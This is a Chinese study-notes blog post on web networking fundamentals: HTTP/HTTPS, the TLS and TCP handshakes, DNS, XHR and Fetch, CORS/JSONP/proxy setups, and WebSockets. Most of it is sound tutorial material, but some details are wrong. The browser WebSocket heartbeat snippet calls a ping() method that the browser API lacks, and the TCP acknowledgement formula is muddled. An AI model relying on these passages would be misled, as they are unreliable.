专题知识学习：Web 网络

发表于 更新于 分类于 本文字数： 15k 阅读时长 ≈ 54 分钟

一、基础网络协议

1.1 HTTP/HTTPS协议核心

HTTP协议

定义

HTTP（HyperText Transfer Protocol）是应用层协议，基于 请求-响应 模型，用于客户端（浏览器）与服务器之间的数据传输，默认端口 80

核心特性

  • 无状态：每个请求独立，服务器不保留客户端上下文（状态管理依赖 Cookie 和 Session）
  • 明文传输：请求与响应内容以未加密的文本形式传输
  • 常用方法：
    • GET：获取资源
    • POST：提交数据
    • PUT：更新资源
    • DELETE：删除资源

报文结构

请求报文：

GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0

响应报文：

HTTP/1.1 200 OK
Content-Type: text/html
<html>...</html>

HTTPS协议

定义

HTTPS（HTTP secure）= HTTP + TLS/SSL 加密层，在传输层对 HTTP 数据进行加密，默认端口 443

核心机制

加密原理：

  • 非对称加密：使用公钥/私钥对协商会话密钥（如 RSA 算法）
  • 对称加密：后续通信使用协商的会话密钥高效加密数据（如 AES 算法）

身份验证：依赖数字证书（由 CA 颁发）验证服务器身份，防止中间人攻击

工作流程

  1. 客户端发起 HTTPS 请求（clienthello）
  2. 服务器返回数字证书（含公钥）
  3. 客户端验证证书有效性（CA 链、有效期等）
  4. 客户端生成会话密钥，用公钥加密后发送给服务器
  5. 双方使用会话密钥进行对称加密通信

核心优势

  • 数据保密：加密传输，防窃听
  • 数据完整：防篡改（MAC 校验）
  • 身份认证：验证服务器真实性

HTTP请求方法（GET/POST/PUT/DELETE）与状态码（200/301/404/500）

HTTP 请求方法

方法 核心特性 典型应用场景 幂等性 安全性
GET 从服务器获取资源，参数通过URL传递（长度受限） 加载页面、查询数据 是 是
POST 向服务器提交数据（请求体承载数据），可能修改服务器状态 表单提交、文件上传、登录操作 否 否
PUT 完整更新服务器资源（需提交完整新数据） 更新用户资料、替换整个文档 是 否
DELETE 删除服务器指定资源 删除文章、移除用户账户 是 否
  • 幂等性：多次相同请求效果 = 一次请求（GET/PUT/DELETE 是，POST 不是）
  • 安全性：是否修改服务器资源（仅 GET 是安全的）

HTTP 状态码

状态码 类别 核心含义 典型触发场景
200 成功 (2xx) OK - 请求成功处理 页面正常加载、API返回有效数据
301 重定向 (3xx) Moved Permanently - 资源永久迁移（浏览器自动缓存新地址） 网站域名变更、旧URL废弃（SEO权重转移）
404 客户端错误(4xx) Not Found - 请求资源不存在 URL路径错误、静态资源被删除
500 服务器错误(5xx) Internal Server Error - 服务器内部处理失败 后端代码异常、数据库连接故障

HTTP报文结构（请求行、请求头、请求体）

请求报文结构

[请求行]
[请求头]
[空行]
[请求体]

请求行（Request Line）

  • 格式：[方法] [URL路径] [协议版本]（GET /index.html HTTP/1.1）
  • 核心要素：
    • 方法：GET/POST/PUT/DELETE等
    • URL 路径：资源路径，不包含域名
    • 协议版本：HTTP/1.1 或 HTTP/2

请求头（Request Headers）

  • 格式：Header-Name: value（Host: www.example.com）
  • 关键字段：
    • HOST：目标域名（HTTP/1.1 必需）
    • User-Agent：客户端标识
    • Content-type：请求媒体类型
    • Cookie：会话状态

请求体（Request Body）

  • 位置：空行之后
  • 内容：
    • GET 请求通常无请求体
    • POST/PUT 请求包含数据
      {"username": "admin"}
  • 格式依赖：由 Content-Type 请求头指定

响应报文结构

[状态行]
[响应头]
[空行]
[响应体]

状态行（Status Line）

  • 格式：[协议版本] [状态码] [状态文本]（HTTP/1.1 200 OK）

响应头（Response Headers）

  • 格式：Header-Name: value（Cache-Control: nocache）
  • 关键字段：
    • Content-type：响应体类型（如 text/html）
    • Cache-Control：缓存策略
    • Set-Cookie：会话状态

响应体（Response Body）

  • 内容：
    <html>...</html>
    {"data": "value"}

请求/响应头结构（Content-Type/Cache-Control/Authorization）

HTTP 头部核心结构

HTTP 头是键值对集合（不区分大小写），位于请求/响应报文起始行之后，空行之前，格式如下：

Header-Name: value1, value2

核心请求/响应头详解

（1）content-Type

  • 作用：设置请求/响应主体的媒体类型（MIME 类型）和编码格式
  • 请求头示例：Content-Type: application/json; charset=utf-8
    • application/json：JSON 格式数据
    • charset=utf-8：字符编码
  • 响应头示例：Content-Type: text/html; charset=UTF-8
  • 前端关键场景：
    • 提交表单时需设置：application/x-www-form-urlencoded（默认）或multipart/form-data（文件上传）
    • 调用 API 时需与服务端协商：application/json（RESTful API 规范）

（2）Cache-Control

  • 作用：控制资源的缓存机制（请求/响应中均可使用），优先级高于 Expires
  • 常用指令：
指令 请求头用途 响应头用途
max-age=3600 - 资源有效期（秒）
no-cache 要求服务器验证缓存有效性 允许缓存但每次需验证
no-store 禁止任何缓存 禁止任何缓存
public - 允许所有环境缓存（CDN/代理）
private - 仅允许浏览器缓存
  • 前端优化实践：
    # 静态资源长期缓存
Cache-Control: public, max-age=31536000, immutable

（3）Authorization

  • 作用：在请求头中携带客户端身份凭证，用于访问受保护资源
  • 典型格式：Authorization: <认证类型> <凭证>
    • Bearer Token（JWT标准）：Authorization: Bearer eyJhbGci...
    • Basic Auth：Authorization: Basic base64(username:password)
  • 安全要求：
    • 必须通过 HTTPS 传输（防止凭证泄露）
    • 前端存储敏感凭证需使用 HttpOnly Cookie 或安全存储（Secure Storage）

HTTPS加密原理（SSL/TLS握手、证书验证）

核心原理

本质是 HTTP + TLS/SSL 加密层（传输层安全协议），通过混合加密体系保障安全

TLS/SSL 握手过程

步骤 关键动作 加密技术应用
ClientHello 客户端发送：支持的 TLS 版本 + 加密套件列表 + 随机数 A -
ServerHello 服务器响应：选定的 TLS 版本和加密套件 + 随机数 B + 数字证书（含公钥） 非对称加密基础
证书验证 客户端验证证书：颁发机构（CA）可信性 + 域名匹配 + 有效期 + 证书链完整性 数字签名技术
交换密钥 客户端：生成预主密钥，使用公钥加密预主密钥并发送给服务器 非对称加密（RSA/ECC）
生成会话密钥 双方使用随机数 A/B + 预主密钥计算会话密钥 密钥派生函数
加密通信就绪 双方交换Finished消息验证密钥正确性，后续通信使用会话密钥对称加密 对称加密

流程图如下：

sequenceDiagram
    participant Client
    participant Server
    Client->>Server: ClientHello (TLS版本 + 加密套件 + 随机数A)
    Server->>Client: ServerHello (加密套件 + 随机数B) + 证书
    Note right of Client: 证书验证 (CA链/域名/有效期)
    Client->>Server: 加密的预主密钥 (用服务器公钥)
    Note left of Server: 生成会话密钥 (随机数A+B+预主密钥)
    Server->>Client: [Finished]
    Client->>Server: [Finished]
    Note over Client,Server: 后续通信使用会话密钥对称加密

证书验证机制

验证环节 技术原理
证书链信任 客户端预置根 CA 证书 -> 验证中间 CA 签名 -> 验证服务器证书签名
域名检查 检查服务器返回证书里的 subject alternative name（SAN） 或 common name（CN） 是否与访问域名一致
吊销检查 通过 OCSP （在线证书状态协议）或 CRL （证书吊销列表）验证证书有效性

混合加密优势

阶段 技术 作用
握手阶段 非对称加密 安全传输会话密钥（防窃听）
数据传输阶段 对称加密 高性能加密业务数据（千倍于非对称）

前端关键影响

  • 安全实践：
    • 必须使用 HTTPS 访问所有资源（避免混合内容警告）
    • 使用 Strict-Transport-Security 头强制 HTTPS
  • 性能优化：
    • 启用 TLS 会话复用（session resumption），减少握手开销
    • 使用 ECDHE 密钥交换（前向保密）

1.2 TCP/UDP基础

三次握手与四次挥手流程

核心概念解析

术语 全称 作用 位置
SYN Synchronize Sequence Number 建立连接时同步序列号 TCP 标志位
ACK Acknowledgment 确认收到数据 TCP 标志位
seq Sequence Number 数据字节流的顺序编号 TCP 头部字段
ack Acknowledgment Number 期望收到的下一个字节序号 TCP 头部字段

三次握手（连接建立）

流程图解：

sequenceDiagram
    participant Client as 客户端
    participant Server as 服务器
    
    Note over Client: 初始状态: CLOSED
    Note over Server: 初始状态: LISTEN
    
    Client->>Server: SYN=1, seq=x (随机)
    Note left of Client: SYN_SENT 状态
    Note right of Server: SYN_RECEIVED 状态
    
    Server->>Client: SYN=1, ACK=1, seq=y (随机), ack=x+1
    Note left of Client: ESTABLISHED 状态
    
    Client->>Server: ACK=1, seq=x+1, ack=y+1
    Note right of Server: ESTABLISHED 状态

核心步骤：

  • 第一次握手：
    • 客户端发送 SYN=1 标志
    • 生成随机初始序列号 seq=x
    • 进入 SYN_SENT 状态
  • 第二次握手：
    • 服务器响应 SYN=1 和 ACK=1 标志
    • 生成自己的随机初始序列号 seq=y
    • 确认号 ack=x+1（表示期望收到 x+1 的数据）
    • 进入 SYN_RECEIVED 状态
  • 第三次握手：
    • 客户端发送 ACK=1 标志
    • 序列号 seq=x+1（SYN 消耗一个序号）
    • 确认号 ack=y+1（表示期望收到 y+1 的数据）
    • 双方进入 ESTABLISHED 状态

关键点：SYN 报文会消耗一个序列号，因此第三次握手的 seq 是 x+1

设计目的：

  • 确认双方的收发能力正常
  • 同步初始序列号（防历史链接混乱）

四次挥手（连接释放）

流程图解：

sequenceDiagram
    participant Client as 客户端
    participant Server as 服务器
    
    Note over Client: ESTABLISHED 状态
    Note over Server: ESTABLISHED 状态
    
    Client->>Server: FIN=1, seq=u
    Note left of Client: FIN_WAIT_1 状态
    Note right of Server: CLOSE_WAIT 状态
    
    Server->>Client: ACK=1, seq=v, ack=u+1
    Note left of Client: FIN_WAIT_2 状态
    
    Server->>Client: FIN=1, ACK=1, seq=w, ack=u+1
    Note right of Server: LAST_ACK 状态
    
    Client->>Server: ACK=1, seq=u+1, ack=w+1
    Note left of Client: TIME_WAIT 状态 (2MSL)
    Note right of Server: CLOSED 状态

核心步骤：

  • 第一次挥手：
    • 主动关闭方发送 FIN=1 标志
    • 携带当前序列号 seq=u
    • 进入 FIN_WAIT_1 状态
  • 第二次挥手：
    • 被动关闭方响应 ACK=1 标志
    • 序列号 seq=v
    • 确认号 ack=u+1
    • 进入 CLOSE_WAIT 状态
  • 第三次挥手：
    • 被动关闭方发送 FIN=1 和 ACK=1 标志
    • 序列号 seq=w（可能已发送新数据）
    • 确认号 ack=u+1
    • 进入 LAST_ACK 状态
  • 第四次挥手：
    • 主动关闭方发送 ACK=1 标志
    • 序列号 seq=u+1
    • 确认号 ack=w+1
    • 进入 TIME_WAIT 状态（等待 2MSL）
    • 被动关闭方收到后进入 CLOSED 状态

关键点：FIN 报文也会消耗一个序列号

关键机制：

  • TIME_WAIT状态：
    • 持续2MSL（报文最大生存时间，通常1-4分钟）
    • 目的：确保最后一个 ACK 到达 + 让网络中残留报文失效
  • 半关闭状态：被动方可在 CLOSE_WAIT 阶段继续发送数据

序列号与确认号工作机制

数据传输示例:

客户端发送: seq=1, len=100, data[1-100]
服务器响应: ACK=1, ack=101 (期望收到101)

客户端发送: seq=101, len=50, data[101-150]
服务器响应: ACK=1, ack=151

规则总结：

  1. 序列号 (seq)：当前报文段第一个字节的序号
  2. 确认号 (ack)：期望收到的下一个字节序号
  3. SYN/FIN：各消耗一个序列号，但不携带数据
  4. 数据传输：每个数据字节都会增加序列号

与 HTTP 协议的关系

  • HTTP/1.1：三次握手后完成单个请求-响应，默认 Connection: keep-alive 复用 TCP 连接
  • 连接开销：高频短连接场景（如HTTP/1.0）会因反复握手/挥手导致性能下降

关键总结

  1. SYN (Synchronize)：
    • 用于建立连接时同步序列号
    • 仅在三次握手的前两次出现
    • 消耗一个序列号（seq 会加1）
  2. ACK (Acknowledgment)：
    • 确认收到数据，保证可靠传输
    • 几乎在所有报文中都存在（除了初始 SYN）
    • ACK=1 时，确认号字段才有效
  3. seq (Sequence Number)：
    • 标识数据字节流的顺序
    • 初始值为随机数（安全考虑）
    • 每个传输的字节都会增加序列号
  4. ack (Acknowledgment Number)：
    • 期望收到的下一个字节序号
    • 表示该序号之前的数据已确认收到
    • 计算公式：ack = 收到的 seq + 数据长度 + 1（如果是 SYN/FIN）

连接复用（Keep-Alive）与队头阻塞问题

连接复用（Keep-Alive）

定义：通过复用同一个 TCP 连接处理多个 HTTP 请求/响应，避免重复的三次握手和四次挥手，降低延迟和资源消耗。

工作原理：

  • HTTP/1.1：默认启用Connection: keep-alive，允许复用连接。
  • HTTP头部控制：
    Connection: keep-alive  // 启用复用
Keep-Alive: timeout=5, max=100  // 空闲超时5秒，最多复用100次请求

优势：

  • 减少 TCP 握手/挥手开销（节省1-2 RTT/请求）
  • 降低服务器和客户端资源占用（减少 Socket 创建和销毁）

示例流程：

sequenceDiagram
    participant Client
    participant Server
    Client->>Server: GET /page1 HTTP/1.1 (Connection: keep-alive)
    Server->>Client: HTTP/1.1 200 OK (Connection: keep-alive)
    Client->>Server: GET /page2 HTTP/1.1 (复用同一TCP连接)
    Server->>Client: HTTP/1.1 200 OK

队头阻塞（Head-of-Line Blocking）

定义：当单个 TCP 连接中的前一个请求未完成时，后续请求必须等待，即使它们彼此独立。

两种类型：

  • TCP 层队头阻塞
    • 原因：TCP 保证数据有序交付，丢失包会阻塞后续包的重传。
    • 影响：即使HTTP/2复用连接，仍受底层TCP限制。
  • HTTP/1.1层队头阻塞
    • 原因：HTTP/1.1的管道化（pipelining）请求必须按顺序返回响应。
    • 示例：
      GET /resource1  // 慢请求
GET /resource2  // 被阻塞直到resource1完成

解决方案：

  • HTTP/2：引入多路复用（Multiplexing），通过二进制分帧层实现并行请求。
  • HTTP/3：基于QUIC协议（UDP），彻底解决TCP层队头阻塞。

对比总结

特性 连接复用（Keep-Alive） 队头阻塞问题
作用层级 HTTP/1.1及以上 TCP层 + HTTP/1.1管道化
主要优化 减少握手开销 需HTTP/2或QUIC解决
性能影响 提升短连接场景性能 高延迟环境下性能下降显著

前端优化实践

  1. HTTP/1.1优化：使用多个域名（分片）绕过浏览器对单域名连接数的限制（通常6-8个）
  2. 升级协议：优先使用HTTP/2（多路复用）或HTTP/3（QUIC）。
  3. 资源合并：减少请求数量（如CSS/JS合并），降低队头阻塞影响。

1.3 DNS解析机制

域名解析流程（递归查询/权威解析）

核心流程步骤

sequenceDiagram
    participant User
    participant LocalDNS as 本地DNS<br>(递归解析器)
    participant RootDNS as 根DNS
    participant TLDNS as 顶级域DNS<br>(如.com)
    participant AuthDNS as 权威DNS<br>(如example.com)
    
    User->>LocalDNS: 查询 www.example.com
    alt 缓存命中
        LocalDNS-->>User: 直接返回IP (缓存)
    else 递归查询
        LocalDNS->>RootDNS: 请求 .com 的TLD地址
        RootDNS-->>LocalDNS: 返回 .com TLD地址
        LocalDNS->>TLDNS: 请求 example.com 权威服务器
        TLDNS-->>LocalDNS: 返回 example.com NS记录
        LocalDNS->>AuthDNS: 请求 www.example.com A记录
        AuthDNS-->>LocalDNS: 返回IP地址
        LocalDNS->>User: 返回最终IP
    end

递归查询（Recursive Query）

  • 发起者：客户端（浏览器/操作系统） → 本地 DNS 服务器
  • 特点：
    • 客户端只发送一次请求
    • 本地 DNS 负责完整解析流程，最终返回IP或错误
  • 客户端要求：dig +recursive www.example.com

权威解析（Authoritative Resolution）

  • 执行者：权威 DNS 服务器（管理特定域名的 DNS 记录）
  • 记录类型：
记录 作用 示例
A IPv4地址 www.example.com. 300 IN A 192.0.2.1
AAAA IPv6地址 … IN AAAA 2001:db8::1
NS 指定域名的权威服务器 example.com. IN NS ns1.example.com
CNAME 域名别名 www IN CNAME example.com

迭代查询（Iterative Query - 实际执行方式）

  • 发生位置：本地 DNS 服务器 → 根/TLD/权威DNS
  • 流程特点:
    1. 本地 DNS 查询根 DNS（全球13组）获取 TLD 地址
    2. 查询TLD DNS（如.com注册局）获取权威 DNS
    3. 查询权威 DNS 获取最终A/AAAA记录
  • 响应类型：
    • 非权威应答：返回下级 DNS 地址（转发）
    • 权威应答：直接返回 IP（最终结果）

缓存机制

  • 本地DNS缓存：
    • 根据 TTL（Time-To-Live）缓存记录（如300秒）
    • 减少全球 DNS 查询压力
  • 浏览器/OS缓存：
    • ipconfig /displaydns（Windows）查看缓存
    • 缓存过期后重新触发递归查询

前端性能影响

  • 优化手段：
    • 减少域名数量（降低 DNS 查询次数）
    • 使用<link rel="dns-prefetch">预解析关键域名
  • 安全机制：
    • DNSSEC：防止 DNS 欺骗（数字签名验证）
    • DoH/DoT：加密 DNS 查询（防止监听）

DNS预取（dns-prefetch）与缓存优化

DNS预取（dns-prefetch）

定义：浏览器提前解析后续页面可能访问的域名，将 DNS 查询与页面渲染并行执行，减少用户感知延迟。

实现方式：

<!-- 在HTML头部声明需预取的域名 -->
<link rel="dns-prefetch" href="//cdn.example.com">
<link rel="dns-prefetch" href="//api.example.com">

工作流程：

  1. 浏览器解析 HTML 时发现 dns-prefetch 标签
  2. 后台启动 DNS 查询（不阻塞页面渲染）
  3. 结果缓存至 DNS 缓存池
  4. 实际请求资源时直接使用缓存 IP

性能影响：

  • 典型DNS查询耗时：50-200ms
  • 预取后延迟：≈0ms（命中缓存时）
  • 适用场景：
    • 第三方资源（CDN、分析脚本）
    • 多域名架构下的跨域请求

DNS缓存优化机制

缓存层级：

层级 缓存位置 存活时间 控制方式
浏览器 内存缓存 会话级（关闭标签页失效） 自动管理
操作系统 系统DNS缓存 遵循TTL（默认分钟~小时） ipconfig /flushdns
本地DNS 递归解析器缓存 严格遵循TTL ISP/管理员配置

TTL（Time-To-Live）核心作用：

  • DNS记录中设置的有效期（秒）：example.com. 300 IN A 192.0.2.1 # TTL=300秒
  • 平衡矛盾：
    • 高TTL（数小时）：减少查询次数，提升速度
    • 低TTL（秒级）：快速更新DNS记录（如故障转移）

缓存刷新策略：

  • 前端无法直接控制，但可通过以下方式间接优化：
    • 关键域名使用稳定IP（避免频繁变更）
    • 迁移到HTTP/2+减少域名分片（降低DNS查询需求）

联合优化实践

<!-- 步骤1: 预取关键域名 -->
<link rel="dns-prefetch" href="//static.example.com">

<!-- 步骤2: 预连接（DNS+TCP+TLS三合一优化） -->
<link rel="preconnect" href="//api.example.com" crossorigin>

preconnect：提前完成DNS+TCP握手+TLS协商（节省3-4次RTT）

二、网络请求技术

2.1 请求处理

AJAX原理与XMLHttpRequest对象

AJAX 核心原理

定义：Asynchronous JavaScript and XML（异步JavaScript和XML），通过浏览器内置对象在不刷新页面的情况下与服务器交换数据并更新部分网页内容。

工作流程：

sequenceDiagram
    participant User
    participant Browser
    participant Server
    User->>Browser: 触发事件（点击/滚动等）
    Browser->>Server: 发送异步请求（XHR对象）
    Server->>Browser: 返回数据（JSON/XML/Text）
    Browser->>Browser: 解析数据 -> 更新DOM
    Browser-->>User: 局部刷新页面

关键特性：

  • 异步通信：不阻塞用户界面（对比传统表单提交）
  • 数据格式：现代应用主要用JSON替代XML
  • 同源策略：默认只能请求相同协议/域名/端口的资源（可通过CORS解除）

XMLHttpRequest（XHR）对象详解

创建与初始化：

const xhr = new XMLHttpRequest();  // 创建实例
xhr.open('GET', 'https://api.example.com/data', true); // 初始化（方法, URL, 异步）

核心方法：

方法 作用
.open(method, url, async) 配置请求类型、地址、异步标志
.send([body]) 发送请求（可选请求体如JSON）
.setRequestHeader(name, value) 设置请求头（如Content-Type）
.abort() 终止请求

关键属性：

属性 说明
.readyState 请求状态（0-4）
.status HTTP状态码（如200, 404）
.responseText 文本响应数据
.responseXML XML格式响应（已淘汰）
.responseType 指定响应格式（如json）

事件监听（异步处理）：

xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(JSON.parse(xhr.responseText));
  }
};
// 或使用现代事件监听
xhr.addEventListener('load', () => {
  if (xhr.status >= 200 && xhr.status < 300) {
    // 成功处理
  }
});

Ajax 技术演进：

技术阶段 典型实现 缺陷
原生XHR new XMLHttpRequest() 回调地狱、繁琐错误处理
jQueryAJAX $.ajax({ … }) 依赖jQuery库
Fetch API fetch(url).then(…) 更简洁的Promise方案

前端开发关键点

（1）错误处理

xhr.onerror = () => { /* 网络错误处理 */ };
xhr.ontimeout = () => { /* 超时处理 */ };

（2）Content-Type 设置

xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ key: 'value' }));

（3）跨域请求

  • 需服务器设置Access-Control-Allow-Origin
  • 可通过代理服务器转发

Fetch API及与XHR对比

Fetch API 核心原理

定义：基于 Promise 的现代网络请求接口，替代传统 XMLHttpRequest（XHR），提供更简洁、强大的请求处理能力。

基本语法：

fetch(url, options)
  .then(response => {
    if (!response.ok) throw new Error('Network error');
    return response.json(); // 解析JSON响应
  })
  .then(data => console.log(data))
  .catch(error => console.error('Error:', error));

核心特性：

特性 说明
Promise 驱动 链式调用替代回调嵌套，支持 async/await
流式数据处理 响应体可分段读取（response.body），支持大文件处理
默认不携带Cookie 需显式设置 credentials: ‘include’
更灵活的配置 通过 init 对象配置所有参数
内置响应类型 支持 response.json()/.text()/.blob()/.arrayBuffer() 等转换方法

完整配置项：

fetch(url, {
  method: 'POST',          // GET/POST/PUT/DELETE
  headers: {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer token'
  },
  body: JSON.stringify(data), // 支持多种数据类型
  credentials: 'include',   // 携带Cookie
  mode: 'cors',             // 跨域模式
  cache: 'no-cache',        // 缓存控制
  redirect: 'follow'        // 重定向策略
});

Fetch API 与 XHR 关键对比

特性 Fetch API XMLHttpRequest (XHR)
设计理念 Promise 驱动的现代化 API 基于事件的旧式 API
语法复杂度 简洁（链式调用） 冗长（事件监听 + 状态检查）
错误处理 只对网络错误 reject（HTTP 404/500 需手动处理） 通过 status 检测所有错误
超时控制 需结合 AbortController 实现 原生支持 timeout 属性
进度追踪 无原生进度事件 支持 progress 事件（上传/下载）
请求取消 通过 AbortController.abort() 原生 xhr.abort()
Cookie 策略 默认不发送（更安全） 默认发送（需手动禁止）
响应类型处理 通过方法转换（如 .json()） 通过属性访问（如 responseText）
跨域请求 默认遵循 CORS 同样遵循 CORS

典型场景代码对比

（1）GET 请求

// Fetch
fetch('/api/data')
  .then(res => res.json())
  .then(data => console.log(data));

// XHR
const xhr = new XMLHttpRequest();
xhr.open('GET', '/api/data');
xhr.onload = () => console.log(JSON.parse(xhr.responseText));
xhr.send();

（2）POST 请求

// Fetch
fetch('/api/submit', {
  method: 'POST',
  body: JSON.stringify({ name: 'Alice' })
});

// XHR
const xhr = new XMLHttpRequest();
xhr.open('POST', '/api/submit');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ name: 'Alice' }));

（3）错误处理

// Fetch (需手动处理HTTP错误)
fetch('/api/data')
  .then(res => {
    if (res.status >= 400) throw new Error('API error');
    return res.json();
  });

// XHR (直接检测status)
xhr.onload = () => {
  if (xhr.status >= 200 && xhr.status < 300) {
    // 成功
  } else {
    // 处理错误
  }
};

最佳实践建议

  • 优先使用 Fetch：现代项目首选（浏览器支持率 > 98%），配合 async/await 提升可读性：
  • XHR 适用场景：
    • 需要上传/下载进度条（xhr.upload.onprogress）
    • 兼容 IE11 等老旧浏览器
  • 补充工具：
    • 超时处理和中断请求：
      const controller = new AbortController();
setTimeout(() => controller.abort(), 5000);
fetch(url, { signal: controller.signal });

跨域解决方案（CORS机制/JSONP/代理服务器）

CORS（跨域资源共享）

核心原理：

  • 浏览器通过 HTTP头部协商 决定是否允许跨域请求，由服务器声明哪些外部域可访问资源。

关键流程：

  • 简单请求（Simple Request）：
    • 条件：GET/HEAD/POST + 特定头部（如Accept/Content-Type: text/plain）
    • 浏览器直接发送请求，服务器响应：
      Access-Control-Allow-Origin: https://client.com  // 必须指定具体域名或*
  • 预检请求（Preflight Request）：
    • 触发条件：复杂操作（如PUT/自定义头部/Content-Type: application/json）
    • 浏览器先发OPTIONS请求：
      OPTIONS /api/data HTTP/1.1
Origin: https://client.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
    • 服务器响应策略：
      HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://client.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Max-Age: 86400  // 缓存预检结果（秒）
  • 带凭证的请求：
    • 前端设置：fetch(url, { credentials: ‘include’ })
    • 服务器响应：
      Access-Control-Allow-Origin: https://client.com  // 不可用*
Access-Control-Allow-Credentials: true

前端代码示例：

// 允许跨域的服务器响应头
res.setHeader('Access-Control-Allow-Origin', 'https://client.com');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST');

JSONP（JSON with Padding）

原理：

  • 利用 <script> 标签不受同源策略限制的特性，通过回调函数接收跨域数据。

实现步骤：

  1. 前端定义全局回调函数

    function handleResponse(data) {
  console.log('Received:', data);
}

  2. 动态创建 <script> 标签

    const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.body.appendChild(script);

  3. 服务器返回函数调用包裹的 JSON

    handleResponse({ status: 'success', data: [...] });

局限性：

  • 仅支持 GET 请求
  • 无错误处理机制（无法捕获404/500）
  • 存在XSS风险（需信任服务器）

代理服务器（Proxy Server）

原理：

  • 将跨域请求转发到同源代理服务器，由代理访问目标服务，避开浏览器同源策略。

实现方式：

  1. 开发环境代理
    • 适用场景：前端本地开发调试
    • 实现工具：webpack.devServer 
      // webpack.config.js
module.exports = {
  devServer: {
    proxy: {
      '/api': {
        target: 'https://api.example.com',
        changeOrigin: true,
        pathRewrite: { '^/api': '' }
      }
    }
  }
};
  2. 生产环境反向代理
    • 适用场景：线上部署
    • 主流方案：nginx 配置 
      server {
  listen 80;
  server_name my-domain.com;

  location /api/ {
    proxy_pass https://api.example.com/;  # 目标地址
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
  }
}
  3. 无服务器代理
    • 适用场景：无需维护基础设施
    • 实现方案：Cloudflare Workers 
      addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
  const url = new URL(request.url);
  url.hostname = 'api.example.com';  // 替换目标域名
  return fetch(url.toString(), request);
}
  4. 编程式中间件代理
    • 适用场景：自定义代理逻辑
    • 实现方式：Node.js 
      const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();
app.use('/external-api', createProxyMiddleware({
  target: 'https://third-party.com',
  changeOrigin: true,
  onProxyReq: (proxyReq, req) => {
    // 添加自定义请求头
    proxyReq.setHeader('X-Proxy-Source', 'my-server');
  }
}));

方案对比与选型

方案 适用场景 安全性 复杂度 协议支持
CORS 可控的第三方API ★★★ ★★ 全HTTP方法
JSONP 老旧浏览器兼容 ★ ★ 仅GET
代理 无法修改响应头的API ★★★ ★★★ 全协议

安全风险规避

  • CORS：严格设置 Access-Control-Allow-Origin 为具体域名（禁用*）
  • JSONP：验证返回数据 + CSP防护
  • 代理：限制可转发的域名防止滥用
  • 所有方案均需配合HTTPS防止中间人攻击

2.2 实时通信

WebSocket协议（双向通信/心跳检测）

双向通信机制

基础原理：在单个TCP连接上建立全双工通信通道，实现客户端与服务器之间的持续双向数据流。

链接建立流程：

  1. HTTP握手升级： 
    GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket          // 协议升级头
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==  // 客户端随机密钥
    HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=  // 服务端验证响应
  2. 协议转换
    • TCP连接保持打开状态
    • 通信协议从HTTP切换为WebSocket（端口不变，默认80/443）

数据帧结构：

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len |    Extended payload length   |
|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
|N|V|V|V|       |S|             |   (if payload len==126/127)   |
| |1|2|3|       |K|             |                               |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
|     Extended payload length continued, if payload len == 127  |
+ - - - - - - - - - - - - - - - +-------------------------------+
|                               |Masking-key, if MASK set to 1  |
+-------------------------------+-------------------------------+
| Masking-key (continued)       |          Payload Data         |
+-------------------------------- - - - - - - - - - - - - - - - +
:                     Payload Data continued ...                :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
|                     Payload Data continued ...                |
+---------------------------------------------------------------+
  • opcode：数据类型（1=文本，2=二进制）
  • Payload len：数据长度（支持分片传输）
  • Masking-key：客户端到服务端数据掩码（安全规范）

心跳检测（Heartbeat）

核心目的：

  • 检测连接存活状态
  • 防止中间设备（NAT/防火墙）断开”空闲”连接

实现机制：

  • 心跳包：定时发送特殊控制帧（Ping/Pong）
    // 浏览器端发送Ping
websocket.ping();

// 服务端响应Pong（自动回复）
websocket.on('ping', () => websocket.pong());
  • 帧类型：
    类型 方向 载荷长度
    Ping 客户端 → 服务器 0-125字节
    Pong 服务器 → 客户端 同Ping

配置参数：

const ws = new WebSocket('wss://example.com');
// 心跳间隔（建议25-30秒，小于NAT超时时间）
setInterval(() => {
  if (ws.readyState === WebSocket.OPEN) {
    ws.ping();  // 发送心跳
  }
}, 25000);

异常处理：

ws.addEventListener('close', (event) => {
  if (event.code === 1006) {
    console.error('连接异常断开（心跳超时）');
  }
});

与传统 HTTP 对比

特性 WebSocket HTTP轮询/长轮询
连接方式 1个持久TCP连接（全双工） 多次HTTP请求（半双工）
头部开销 首次握手后仅2-14字节帧头 每次请求完整HTTP头部
延迟 毫秒级实时推送 数百毫秒至秒级
适用场景 聊天/实时游戏/金融报价 简单通知（兼容性要求高）

前端开发实践

（1）浏览器 API

const ws = new WebSocket('wss://api.example.com/ws');

// 监听消息
ws.onmessage = (event) => {
  console.log('收到数据:', event.data);
};

// 发送数据
ws.send(JSON.stringify({ action: 'subscribe', channel: 'news' }));

// 错误处理
ws.onerror = (error) => {
  console.error('WebSocket错误:', error);
};

（2）关键优化

  • 二进制传输
    // 发送ArrayBuffer提升性能
const buffer = new ArrayBuffer(128);
ws.send(buffer);
  • 自动重连
    ws.onclose = () => setTimeout(connect, 3000);
